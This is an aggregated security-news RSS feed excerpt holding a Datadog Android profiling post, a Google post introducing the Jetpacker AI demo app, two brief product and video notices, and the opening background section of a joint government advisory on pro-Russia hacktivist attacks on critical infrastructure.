src="https://blogger.googleusercontent.com/img/a/AVvXsEjW4Lm-zE5X2trjidQ0eh9i_Bhiwd7HnkOcMeRtA_4dABpGG0EPuer564cLFK4o3eb_N_zWmBAgpOa58eygLH5hwFF6kMg_4GFC98vRN4pd1LNZ-PG9W5wyHv-ptVcmIGo1M7FNPi9PKQ9iGsyZeVfr5jDK46HJHU-1Gsc6IZJdSvhrZVavqKiZmyYar0o=s16000"></a></div><br><br><p></p>

<p>
  To address this, Datadog needed a profiling engine capable of capturing Android traces directly from devices in production with minimal performance impact. After evaluating alternative approaches, such as writing their own trace processor using Android Debug APIs, the team selected ProfilingManager because it is the most performant solution of the profiling options they evaluated and offloads the sampling decisions overhead to the OS.
</p>

<p>
  ProfilingManager supports a wide range of collection methods, including CPU traces, call stack sampling, memory analysis through Java heap dumps and native heap profiles. It enables developers to profile production builds, upload trace files to external storage, and review them in the Perfetto trace analyzer UI. As a SaaS provider, Datadog uploads, visualizes, and analyzes these profiles collected via its SDK, providing a unified view of application health. 
</p>

By centralizing high-fidelity telemetry within a unified observability API, ProfilingManager empowers Datadog and its clients to proactively monitor, investigate, and remediate complex Android performance regressions through key technical advantages:

<ul>
  <li>
    <strong>Granular session diagnostics:</strong> ProfilingManager enhances debuggability by delivering direct OS-level trace data, overcoming the visibility and alignment challenges typical of custom logging with system services. To dive deeper, developers can download these traces from Datadog to investigate further in visualization tools like the <a href="https://ui.perfetto.dev/">Perfetto UI</a>. 
  </li>
  <li>
    <strong>Automated telemetry triggers:</strong> By leveraging native system events to initiate trace recordings at key optimization points, Datadog reduces the need to build custom collection logic. While the initial rollout focuses on the <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*xix6h8*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_APP_FULLY_DRAWN">APP_FULLY_DRAWN </a>signal, there are already plans to expand this observability to include <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*1hl4p7n*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_ANR">ANR</a>, <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*8x3pd*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_OOM">OOM</a>, and <a href="https://developer.android.com/reference/android/os/ProfilingTrigger?_gl=1*1ezx2ma*_up*MQ..*_ga*MTc4ODI2NDgwMy4xNzc5MzE2ODcw*_ga_6HH9YJMN9M*czE3NzkzMTY4NzAkbzEkZzAkdDE3NzkzMTY4NzAkajYwJGwwJGgyMTE1NzIyNjk1#TRIGGER_TYPE_COLD_START">COLD_START</a> triggers.</li>
  <li>
    <strong>Proactive trace snapshots:</strong> By interfacing directly with the system-level Perfetto service (traced), ProfilingManager utilizes a proactive background recording model designed to capture unpredictable issues. This ensures that developers receive a precise visualization of the events leading up to a performance anomaly, offering a level of insight that exceeds what is possible through manual instrumentation. 
  </li>
  <li>
    <strong>Bottleneck detection at scale:</strong> Datadog is able to synthesize telemetry from across Datadog’s global customer base to uncover regressions that only emerge under unique hardware configurations and variable network environments.
  </li>
  <li>
    <strong>System-enforced resource stability:</strong> The API leverages sampling trace collection to ensure performance and user experience impacts remain unnoticeable.
  </li>
  <li>
    <strong>On-device data controls:</strong> ProfilingManager filters out irrelevant information from other processes on-device before the profile is delivered to the app. This minimizes file sizes and ensures that only data relevant to the app's processes is provided.</li>
</ul>

<h3>Processing millions of weekly profiles to optimize real-world apps</h3><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjr2ikpIrv_Km0RiIq-khGPFHpfA5CRYHfnLj2oRxLSuTk2x8qJFoO4UyNiwMpJphecSAVR4aWcJEB7BzvkXYjkyDggRDUYhLTBGhoj5q3b6BmwA5IcsER1_k5tffie6pteW3YNkIwI5Y6rG_Ie35Xzzq-mEnfq8iinA_cd_r5ydCxfRwajPSngrY1591k/s3464/datadog-profiling-blogpost-final.png"><img border="0" data-original-height="1686" data-original-width="3464" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjr2ikpIrv_Km0RiIq-khGPFHpfA5CRYHfnLj2oRxLSuTk2x8qJFoO4UyNiwMpJphecSAVR4aWcJEB7BzvkXYjkyDggRDUYhLTBGhoj5q3b6BmwA5IcsER1_k5tffie6pteW3YNkIwI5Y6rG_Ie35Xzzq-mEnfq8iinA_cd_r5ydCxfRwajPSngrY1591k/s16000/datadog-profiling-blogpost-final.png"></a></div><i><div><i>An example of Datadog's time to initial display measurement with </i></div><div><i>stack sampling powered by ProfilingManager</i></div></i><br>Integrating a system-level profiling API into a global monitoring SDK required solving infrastructure challenges. Because ProfilingManager generates highly detailed performance traces, the Datadog engineering team had to build a pipeline capable of parsing and analyzing these profiles on the server side at scale. <span><span>Beyond profile collection, Datadog also emphasizes the importance of balancing sampling frequency with collecting enough data to generate meaningful insights about your application. </span></span>Datadog relies on ProfilingManager’s built-in rate limiting as a critical stability safeguard, preventing excessive telemetry requests from overburdening user devices.<br><br>The team has been profiling Datadog's own native Android application and a number of early adopters’ applications for months, gathering millions of profiles to ensure a fast, error-free launch experience and to refine their performance-detection algorithms. Today, the production integration seamlessly scales across a variety of Android devices. <p></p><h3>Conclusion</h3><p>By integrating Android’s ProfilingManager API, Datadog successfully closed the visibility gap between backend systems and mobile client applications for their customers. By processing millions of profiles weekly with negligible device overhead, Datadog equips Android developers with the code-level insights necessary to diagnose complex performance bugs instantly, helping developers build smoother applications and improve their app’s performance signals in the Play Store. To adopt the ProfilingManager API directly into your performance observability framework, check out our <a href="https://developer.android.com/topic/performance/tracing/profiling-manager/overview">documentation</a>.</p>

<p>
  In the future, Datadog aims to make Android profiling data a first-class input for coding agents to autonomously resolve performance bottlenecks, closing the feedback loop between detection and remediation. Datadog is working toward making Android profiling broadly accessible to developers.
</p>

<p>
  To get started using the Datadog real user monitoring feature powered by ProfilingManager, visit <a href="https://www.datadoghq.com/dg/real-user-monitoring/android-profiling/?utm_source=inbound&amp;utm_medium=corpsite-display&amp;utm_campaign=int-rum-ww-blog-announcement-announcement-androidprofilerblog2026">Datadog Mobile Real User Monitoring</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build intelligent Android apps: Introduction to Jetpacker]]></title>
<description><![CDATA[Posted by Jolanda Verhoef, Senior Developer Relations Engineer, Android Developer RelationsBuilding GenAI features in your app usually means navigating through various models, APIs and architecture choices: 

  Execution location: Where does your model run? On device, in the cloud, or both?
  Com...]]></description>
<link>https://tsecurity.de/de/3693498/android-tipps/build-intelligent-android-apps-introduction-to-jetpacker/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693498/android-tipps/build-intelligent-android-apps-introduction-to-jetpacker/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:26 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigBFwd7rJO49I_puODKBWFqPbpHaGyL3CTFuZBbr0HTQConFnc3JP0dL9Rr_i6wmyW0o4Ku2bvv3SEacwpC3Vc6b7cYy0aRbZKdUDudFcraYO8zcBVkrMfbrfMP9How0J1xSi91xLnR4s5Z3s-Lp6RF2SA0gU56B9nXD0NkD_CU8MT6wbgBw1tRaMWcMo/s2469/0713%20Jetpacker%20Meta.png">
<div><i>Posted by Jolanda Verhoef, Senior Developer Relations Engineer, </i><i>Android Developer Relations</i></div><div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFlbIY8mjuSzlWuS8mnGJ3v8Je-yrtFFaBHNXumMqS0rbaS32wv5HUhI4mv5pHT8ro0Rfb-duyMhK8_OeKnMyocY9s6GmC9_pgTEv6sgZoiaZpD00sODTTctYV8I4RHddKWcXAMUyTASk97cS1ysx4A2PFYB6PEeiHeN93BFgDiOTKH62ZJMig3kGP66E/s8583/0713%20Jetpacker%20Blog.png"><img border="0" data-original-height="2601" data-original-width="8583" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFlbIY8mjuSzlWuS8mnGJ3v8Je-yrtFFaBHNXumMqS0rbaS32wv5HUhI4mv5pHT8ro0Rfb-duyMhK8_OeKnMyocY9s6GmC9_pgTEv6sgZoiaZpD00sODTTctYV8I4RHddKWcXAMUyTASk97cS1ysx4A2PFYB6PEeiHeN93BFgDiOTKH62ZJMig3kGP66E/s1600/0713%20Jetpacker%20Blog.png"></a></div><br><i><br></i><p>Building GenAI features in your app usually means navigating through various models, APIs and architecture choices: </p>
<ul>
  <li><strong>Execution location:</strong> Where does your model run? On device, in the cloud, or both?</li>
  <li><strong>Complexity:</strong> How complex is your setup? Are you doing a single inference call or do you need a more agentic flow?</li>
  <li><strong>In-app or Android System:</strong> Should your feature be built into your Android app or does it fit better as an Android system integration?</li>
</ul>

<p>In this blog post series we'll navigate these choices with you. We will take you along on a journey, starting with a basic mobile app and transforming it into a <b>personalized</b>, <b>intelligent</b>, and <b>agentic</b> experience.</p>

<h2>Jetpacker: a demo travel app</h2>
<p>Jetpacker is a <b>technical showcase app</b> that our team built from the ground up for this year's Google I/O (built using Antigravity). At its core, Jetpacker helps users plan, explore, and enjoy their next big adventure. It shows an overview of your trips, the itinerary of each trip, and details of each event on that trip. Of course following all best practices of Android development, including a beautifully expressive Material UI design.</p><div>
  
  
</div>

<p>And best of all? It's fully <a href="https://github.com/android/ai-samples/tree/main/jetpacker" target="_blank">open source</a>!</p>

<p>Today we are publishing a series of<b> technical blog posts</b> diving deep into each of these features. We’ll provide detailed implementation steps, code snippets, and architectural insights to help you build your own intelligent Android applications.</p>

<h2><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html">On-device intelligence</a></h2>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7d4EqOTEFypjsqmFoZ8h-zPw3QqQkNY1F_vdbJ98vv1QJCqIE8P-reC0fttcMfNk05g3kGSLhGXVaeiOQDqARK6ptNhFe43miZgTNSmdF7V5hh6u4PhjQleWXmxDqkAf5YKPPyBU14V9z_wFfkiwVDCHN0rkLDtbZCGnb6Jq8d7Iu3YRVgDd9fcMeTiA/s1848/on-device-features.png"><img border="0" data-original-height="1256" data-original-width="1848" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7d4EqOTEFypjsqmFoZ8h-zPw3QqQkNY1F_vdbJ98vv1QJCqIE8P-reC0fttcMfNk05g3kGSLhGXVaeiOQDqARK6ptNhFe43miZgTNSmdF7V5hh6u4PhjQleWXmxDqkAf5YKPPyBU14V9z_wFfkiwVDCHN0rkLDtbZCGnb6Jq8d7Iu3YRVgDd9fcMeTiA/s1600/on-device-features.png"></a></div><div><i>On-device features in Jetpacker: Summarizing trip itineraries, managing expenses, and voice notes</i></div><p>Using an on-device model comes with <b>no additional cloud inference</b> costs, means you don't have to worry about <b>internet connectivity</b>, and lets users be confident that private information will be <b>processed locally</b>, on the device, without any of their data being sent to the cloud.</p>

<p>In Jetpacker, we chose on-device inference for three of our features:</p>
<ul>
  <li>The <b>trip overview</b> feature transforms a messy, multi-day itinerary into a concise, actionable summary. It leverages Gemini Nano through the <a href="https://developers.google.com/ml-kit/genai/prompt/android">ML Kit GenAI APIs</a> to process data locally on the device. We consider this a nice-to-have feature where we don't want to incur extra cloud costs, making on-device inference the right choice.</li>
  <li>The <b>expense tracker</b> automatically extracts structured data from receipt images to help users track their travel spending. It uses the <a href="https://developers.google.com/ml-kit/genai/prompt/android/get-started#provide-multimodal">multimodal capabilities</a> of Gemini Nano 4 through the ML Kit GenAI APIs. We choose an on-device solution so that any privacy-sensitive information on the receipt images never leaves the user's device.</li>
  <li>The <b>audio diary </b>records, transcribes, and categorizes voice notes into relevant trip activities. It is powered by the <a href="https://developers.google.com/ml-kit/genai/speech-recognition/android">ML Kit Speech Recognition</a> and <a href="https://developers.google.com/ml-kit/genai/prompt/android/get-started">GenAI Prompt APIs</a>. We chose an on-device solution for privacy and connectivity reasons.</li>
</ul>

<h2><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html" target="_blank">Cloud &amp; hybrid inference</a></h2>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFPZiA1Obbj1gQKJ6S-U4UCR-jiUjasFY3jGQPeBRS27JJD5DzDIpGseazaNR3qcXR6xtYck8RYqKd0jgHGXVnfqQiPkW7jWVgTB_Hkds5EZcQDjosBZc7Ma9A-JaRaLeVxzEpTXYwSkalIyOIt-WQ_kqdlAvpDH1nB0Ajv7FdFJJ50aBOhP7a0p_RvN4/s2722/cloud-hybrid-features.png"><img border="0" data-original-height="1632" data-original-width="2722" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFPZiA1Obbj1gQKJ6S-U4UCR-jiUjasFY3jGQPeBRS27JJD5DzDIpGseazaNR3qcXR6xtYck8RYqKd0jgHGXVnfqQiPkW7jWVgTB_Hkds5EZcQDjosBZc7Ma9A-JaRaLeVxzEpTXYwSkalIyOIt-WQ_kqdlAvpDH1nB0Ajv7FdFJJ50aBOhP7a0p_RvN4/s1600/cloud-hybrid-features.png"></a></div><br><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><i><div><i>Cloud and hybrid features in Jetpacker: Museum assistant with web grounding, hybrid restaurant review drafting, and hotel support chat featuring custom-routed live translation.</i></div></i><p>Sometimes your use-case requires AI models with <b>greater world knowledge</b> or a much <b>larger context window</b> and with greater ability in <b>handling complex tasks</b>. In that case, we can switch from running an on-device model to using a cloud model instead.</p>

<p>Or, if you want to get the best of both worlds, you can use hybrid inference to <b>dynamically choose</b> either a cloud or on-device model at runtime. This allows us to <b>lower costs</b> by moving inference to the device when it is available, but at the same time <b>support all Android devices</b> running the app.</p>

<p>In Jetpacker, we implemented several features using cloud or hybrid inference:</p>
<ul>
  <li>The <b>place Q&amp;A</b> feature answers user questions about specific locations by grounding responses in real-world data. It uses <a href="https://firebase.google.com/docs/ai-logic">Firebase AI Logic</a> integrated with <a href="https://firebase.google.com/docs/ai-logic/grounding-google-maps">Google Maps</a> and <a href="https://firebase.google.com/docs/ai-logic/grounding-google-search">web context</a>. Using a cloud model is necessary here for its greater world knowledge.</li>
  <li>The <b>review drafting</b> feature helps users compose detailed reviews for the places they have visited. It leverages both on-device and cloud models through Firebase AI Logic's new <a href="https://firebase.google.com/docs/ai-logic/hybrid/android/get-started">Hybrid inference API</a>. This is a feature we wanted to make available to all app users, so we're using a cloud model as a fallback when an on-device model is unavailable.</li>
  <li>The <b>automatic chat translation</b> dynamically translates chat messages in real time to facilitate seamless communication, demonstrating custom hybrid inference logic. Again, we want this feature to be available to all app users, but at the same time have some specific considerations on when to choose on-device versus cloud.</li>
</ul>

<h2><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html">System integration</a></h2><div>
  
  
</div>
<p>While not a feature you see in the app itself, the Android system integration opens up the app's core capabilities directly to the Android operating system. It uses the <a href="https://developer.android.com/ai/appfunctions">AppFunctions API</a> to integrate with system-level intelligence.</p>

<h2>In-app agentic workflows (coming soon!)</h2>
<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3YAW_TWepCinuAvHQ7i9JKfhWtf-GSggI6CtD0Qp7-nfPA7UTmmYHTAtsEybWlmiPgxZqo_fUlqc44dmF_5WWH4tlTRze8qdsm9Jc5ARwL5k_PJjU1VTcAHRE3EdxL4JHSnsCt4VCzwPaR41LM34048icLNZLE1kUhpLTeiGpDH87Bh7utPJmXS4kn_8/s1618/agentic-feature-booking-assistant%20(1).png"><img border="0" data-original-height="1618" data-original-width="844" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3YAW_TWepCinuAvHQ7i9JKfhWtf-GSggI6CtD0Qp7-nfPA7UTmmYHTAtsEybWlmiPgxZqo_fUlqc44dmF_5WWH4tlTRze8qdsm9Jc5ARwL5k_PJjU1VTcAHRE3EdxL4JHSnsCt4VCzwPaR41LM34048icLNZLE1kUhpLTeiGpDH87Bh7utPJmXS4kn_8/w209-h400/agentic-feature-booking-assistant%20(1).png" width="209"></a></div><i><div><i>The booking assistant shows several in-progress flight bookings, asking the user for input before making a final booking.</i></div></i><p>Agenticness introduces a higher level of<b> autonomy</b>, enabling models to act as agents. Instead of a single inference call, an agent works towards a specific goal via an orchestration loop that allows it to <b>reason</b>, use <b>tools</b>, and <b>adapt </b>its path. Depending on your requirements, these intelligent agents can run either in the cloud, directly on-device, or in a hybrid setup.</p>

<p>For Jetpacker we added a <b>booking assistant</b> that automates end-to-end booking workflows directly within the application to streamline reservations. It is built using <a href="https://a2ui.org/">A2UI</a> and <a href="https://adk.dev/">ADK</a> running in the cloud. The Android app functions as a front-end to the multi-agentic system running in the cloud.</p>

<h2>Learn more</h2>
<p>Check out the other parts of this blog post series:</p><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-introduction-jetpack.html"><b>Part 1 (this post!):</b></a> Introduction of the app and a high-level overview.<br><a href="http://android-developers.googleblog.com/2026/07/android-on-device-inference.html"><b>Part 2:</b></a> On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-cloud-hybrid-inference.html"><b>Part 3:</b></a> Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.<br><a href="http://android-developers.googleblog.com/2026/07/build-intelligent-android-apps-appfunctions.html"><b>Part 4:</b></a> System integration. Integrating with the Android intelligence system using AppFunctions.<br>Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.<p>Interested in more on Android Development? Follow Android Developers on <a href="https://www.youtube.com/@AndroidDevelopers">YouTube</a> or <a href="https://www.linkedin.com/showcase/androiddev/">LinkedIn</a>!</p></div>]]></content:encoded>
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<title><![CDATA[Logitech G Becomes Official Headset Partner for Call of Duty: Modern Warfare 4]]></title>
<description><![CDATA[The Logitech G series has just announced a partnership with Call of Duty: Modern Warfare 4....
The post Logitech G Becomes Official Headset Partner for Call of Duty: Modern Warfare 4 appeared first on Fossbytes.]]></description>
<link>https://tsecurity.de/de/3693450/linux-tipps/logitech-g-becomes-official-headset-partner-for-call-of-duty-modern-warfare-4/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693450/linux-tipps/logitech-g-becomes-official-headset-partner-for-call-of-duty-modern-warfare-4/</guid>
<pubDate>Sat, 25 Jul 2026 10:12:13 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The Logitech G series has just announced a partnership with Call of Duty: Modern Warfare 4....</p>
<p>The post <a rel="nofollow" href="https://fossbytes.com/logitech-g-becomes-official-headset-partner-for-call-of-duty-modern-warfare-4/">Logitech G Becomes Official Headset Partner for Call of Duty: Modern Warfare 4</a> appeared first on <a rel="nofollow" href="https://fossbytes.com/">Fossbytes</a>.</p>]]></content:encoded>
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<title><![CDATA[Community Office Hours: Exchange Email Support]]></title>
<description><![CDATA[Author: Mozilla Thunderbird - Bewertung: 15x - Views:697 Welcome to the last Community Office Hours of 2025! In this edition, Heather and Monica welcome Sr. Software Engineer Brendan Abolivier and Software Engineer Eleanor Dichary from the Desktop Team. We’re discussing the recent Exchange Web Su...]]></description>
<link>https://tsecurity.de/de/3693439/video/community-office-hours-exchange-email-support/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693439/video/community-office-hours-exchange-email-support/</guid>
<pubDate>Sat, 25 Jul 2026 10:05:14 +0200</pubDate>
<category>🎥 Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Mozilla Thunderbird - Bewertung: 15x - Views:697 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/w986NrVHBM0?autoplay=1&origin=https://tsecurity.de" frameborder="0"></iframe></p><p>Welcome to the last Community Office Hours of 2025! In this edition, Heather and Monica welcome Sr. Software Engineer Brendan Abolivier and Software Engineer Eleanor Dichary from the Desktop Team. We’re discussing the recent Exchange Web Support for email that just landed in Thunderbird Monthly Release 145. Learn how the team landed this feature and discover future plans for Calendar and Contact support, as well as Graph API<br />
<br />
Chapters:<br />
00:00 Intro<br />
03:50 What is Microsoft Exchange<br />
05:07 Why it took so long to add Exchange<br />
14:33 Exchange in Thunderbird 145<br />
18:20 Config options and authorization<br />
27:10 Attachments and storage<br />
32:30 Sync and folder operations<br />
36:10 Filters and notification<br />
39:10 Search<br />
40:20 Feedback and bug reporting<br />
43:00 Mobile and Graph API<br />
49:09 JMAP and future protocols<br />
55:50 Calendar and address book<br />
59:57 Roadmap and EWS deprecation<br />
62:23 Closing<br />
<br />
Resources:<br />
Exchange Mozilla Support Article: https://support.mozilla.org/en-US/kb/thunderbird-and-exchange<br />
Exchange Mozilla Wiki Post (with call for testing): https://wiki.mozilla.org/Thunderbird%3AExchange<br />
Reach out on Matrix: https://matrix.to/#/#thunderbird:mozilla.org<br />
Bugzilla (use Exchange component for reporting): https://bugzilla.mozilla.org/enter_bug.cgi?product=MailNews%20Core<br/></p>]]></content:encoded>
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<title><![CDATA[Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure]]></title>
<description><![CDATA[Summary
Note: This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet Primary Mitigations to Reduce Cyber Threats to Operational Technology and European Cybercrime Centre’s (EC3) Operation Eas...]]></description>
<link>https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693383/sicherheitsluecken/pro-russia-hacktivists-conduct-opportunistic-attacks-against-us-and-global-critical-infrastructure/</guid>
<pubDate>Sat, 25 Jul 2026 09:15:46 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2><strong>Summary</strong></h2>
<p><strong>Note:</strong> This joint Cybersecurity Advisory is being published as an addition to the Cybersecurity and Infrastructure Security Agency (CISA) May 6, 2025, joint fact sheet <a href="https://www.cisa.gov/resources-tools/resources/primary-mitigations-reduce-cyber-threats-operational-technology" title="Primary Mitigations to Reduce Cyber Threats to Operational Technology">Primary Mitigations to Reduce Cyber Threats to Operational Technology</a> and European Cybercrime Centre’s (EC3) <a href="https://www.europol.europa.eu/media-press/newsroom/news/global-operation-targets-noname05716-pro-russian-cybercrime-network" target="_blank" title="Operation Eastwood" data-entity-type="external">Operation Eastwood</a>, in which CISA, Federal Bureau of Investigation (FBI), Department of Energy (DOE), Environmental Protection Agency (EPA), and EC3 shared information about cyber incidents affecting the operational technology (OT) and industrial control systems (ICS) of critical infrastructure entities in the United States and globally.</p>
<p>FBI, CISA, National Security Agency (NSA), and the following partners—hereafter referred to as “the authoring organizations”—are releasing this joint advisory on the targeting of critical infrastructure by pro-Russia hacktivists:</p>
<ul>
<li>U.S. Department of Energy (DOE)</li>
<li>U.S. Environmental Protection Agency (EPA)</li>
<li>U.S. Department of Defense Cyber Crime Center (DC3)</li>
<li>Europol European Cybercrime Centre (EC3)</li>
<li>EUROJUST – European Union Agency for Criminal Justice Cooperation</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>Canadian Security Intelligence Service (CSIS)</li>
<li>Czech Republic Military Intelligence (VZ)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)</li>
<li>Czech Republic National Centre Against Terrorism, Extremism, and Cyber Crime (NCTEKK)</li>
<li>French National Cybercrime Unit – Gendarmerie Nationale (UNC)</li>
<li>French National Jurisdiction for the Fight Against Organized Crime (JUNALCO)</li>
<li>German Federal Office for Information Security (BSI)</li>
<li>Italian State Police (PS)</li>
<li>Latvian State Police (VP)</li>
<li>Lithuanian Criminal Police Bureau (LKPB)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>Romanian National Police (PR)</li>
<li>Spanish Civil Guard (GC)</li>
<li>Spanish National Police (CNP)</li>
<li>Swedish Polisen (SC3)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
</ul>
<p>The authoring organizations assess pro-Russia hacktivist groups are conducting less sophisticated, lower-impact attacks against critical infrastructure entities, compared to advanced persistent threat (APT) groups. These attacks use minimally secured, internet-facing virtual network computing (VNC) connections to infiltrate (or gain access to) OT control devices within critical infrastructure systems. Pro-Russia hacktivist groups—Cyber Army of Russia Reborn (CARR), Z-Pentest, NoName057(16), Sector16, and affiliated groups—are capitalizing on the widespread prevalence of accessible VNC devices to execute attacks against critical infrastructure entities, resulting in varying degrees of impact, including physical damage. Targeted sectors include <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a>.</p>
<p>The authoring organizations encourage critical infrastructure organizations to implement the recommendations in the <a href="https://www.cisa.gov/#Mitigations" title="Mitigations"><strong>Mitigations </strong></a>section of this advisory to reduce the likelihood and impact of pro-Russia hacktivist-related incidents. For additional information on Russian state-sponsored malicious cyber activity, see CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Threat Overview and Advisories">Russia Threat Overview and Advisories</a> webpage.</p>
<p>Download the PDF version of this report:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2025-12/aa25-343a-pro-russia-hacktivists-conduct-attacks_0.pdf" class="c-file__link" target="_blank">Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure</a>
    <span class="c-file__size">(PDF,       1.53 MB
  )</span>
  </div>
</div>
<h2><strong>Background and Development of Pro-Russia Hacktivist Groups</strong></h2>
<p>Over the past several years, the authoring organizations have observed pro-Russia hacktivist groups conducting cyber operations against numerous organizations and critical infrastructure sectors worldwide. The escalation of the Russia-Ukraine conflict in 2022 significantly increased the number of these pro-Russia groups. Consisting of individuals who support Russia’s agenda but lack direct governmental ties, most of these groups target Ukrainian and allied infrastructure. However, among the increasing number of groups, some appear to have associations with the Russian state through direct or indirect support.</p>
<h3><strong>Cyber Army of Russia Reborn</strong></h3>
<p>The authoring organizations assess that the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455—tracked in the cybersecurity community under several names (see<strong> </strong><a href="https://www.cisa.gov/#AppB" title="Appendix B"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a>)—is likely responsible for supporting the creation of CARR —also known as “The People’s Cyber Army of Russia”—in late February or early March of 2022. Actors suspected to be from GRU unit 74455 likely funded the tools CARR threat actors used to conduct distributed denial-of-service (DDoS) attacks through at least September 2024.</p>
<p>In April 2022, the group began using a new Telegram channel featuring the name “CyberArmyofRussia_Reborn” to organize and plan group actions. The channel creators recruited actors to use CARR as an unattributable platform for conducting cyber activities beneath the level of an APT, aimed at deterring anti-Russia rhetoric. CARR threat actors presented themselves as a group of pro-Russia hacktivists supporting Russia’s stance on the Ukrainian conflict, and they soon began claiming responsibility for DDoS attacks against the U.S. and Europe for supporting Ukraine.</p>
<p>CARR documented these actions through embellished images and videos shared on their social media channels, promoting Russian ideology, disseminating talking points, and publicizing leaked information from hacks attributed to Russian state threat actors.</p>
<p>In late 2023, CARR expanded their operations to include attacks on industrial control systems (ICS), claiming an intrusion against a European wastewater treatment facility in October 2023. In November 2023, CARR targeted human-machine interface (HMI) devices, claiming intrusions at two U.S. dairy farms.</p>
<p>The authoring organizations assess that by late September 2024, CARR channel administrators became dissatisfied with the level of support and funding provided by the GRU. This dissatisfaction led CARR administrators and an administrator from another hacktivist group, NoName057(16), to create the Z-Pentest group, employing the same tactics, techniques, and procedures (TTPs) as CARR but separate from GRU involvement.</p>
<h3><strong>NoName057(16)</strong></h3>
<p>The authoring organizations assess that the Center for the Study and Network Monitoring of the Youth Environment (CISM), established on behalf of the Kremlin, created NoName057(16) as a covert project within the organization. Senior executives and employees within CISM developed and customized the NoName057(16) proprietary DDoS tool <code>DDoSia</code>, paid for the group’s network infrastructure, served as administrators on NoName057(16) Telegram channels, and selected DDoS targets.</p>
